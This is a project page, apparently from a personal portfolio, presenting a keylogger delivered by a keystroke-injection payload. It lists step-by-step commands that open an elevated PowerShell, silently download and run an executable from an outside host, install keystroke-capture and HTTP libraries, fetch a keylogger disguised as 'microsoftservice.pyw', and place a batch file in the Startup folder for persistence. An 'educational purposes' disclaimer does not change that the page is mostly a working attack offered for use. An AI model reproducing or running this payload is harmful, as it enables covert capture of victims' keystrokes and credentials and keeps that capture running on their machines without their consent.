Project Details: Key Logger

Key Logger

The Key Logger project involves a script that sets up a key logger on the target machine, capturing all keystrokes and sending them to a specified location. This project is intended for educational and testing purposes only.

Features:

• Captures all keystrokes on the target machine
• Sends captured data to a specified location
• Easy setup and execution

Technologies Used:

• PowerShell
• Python
• Windows Command Line

Video Demo:

Instructions:

To use the Key Logger script, follow these steps:

1. Download the script from the link below.
2. Run the script on your machine using PowerShell.
3. Ensure your machine has an active internet connection for sending the captured data.

Script Steps:

This script performs the following actions step by step:

1. Open PowerShell with Administrator Privileges:

   DELAY 500
   GUI r
   DELAY 1000
   STRING powershell
   DELAY 500
   CTRL-SHIFT ENTER
   DELAY 3000
   LEFTARROW
   DELAY 1000
   ENTER

   This sequence opens the Run dialog, types "powershell," and runs it as an administrator.
2. Download and Execute a Service Installer:

   STRING Invoke-WebRequest -Uri "https://www.ux1per.com/scripts/service.exe" -OutFile "$env:USERPROFILE\Downloads\service.exe"; Start-Process -FilePath "$env:USERPROFILE\Downloads\service.exe" -ArgumentList "/quiet InstallAllUsers=1 PrependPath=1" -Wait -PassThru; exit
   DELAY 90000

   This command downloads a service installer executable and runs it quietly.
3. Install Python Packages:

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   DELAY 750
   STRING powershell
   ENTER
   DELAY 1000
   STRING pip install pynput 
   ENTER
   DELAY 10000
   STRING pip install requests
   ENTER
   DELAY 10000

   This sequence installs the Python packages `pynput` and `requests`.
4. Download and Save the Keylogger Script:

   STRING powershell -Command "Invoke-WebRequest -Uri 'https://www.ux1per.com/scripts/microsoftservice.pyw' -OutFile '$env:USERPROFILE\Downloads\microsoftservice.pyw'"
   ENTER
   DELAY 3000

   This command downloads the keylogger script and saves it to the user's Downloads folder.
5. Enable the Keylogger on Startup:

   STRING powershell -Command "Invoke-WebRequest -Uri 'https://www.ux1per.com/scripts/enable.bat' -OutFile '$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\enable.bat'"
   ENTER
   DELAY 3000

   This command downloads a batch file that enables the keylogger to run on startup and saves it in the startup folder.
6. Exit PowerShell:

   STRING exit
   DELAY 100
   ENTER

   This final command closes the PowerShell window.

Download Links:

Download Script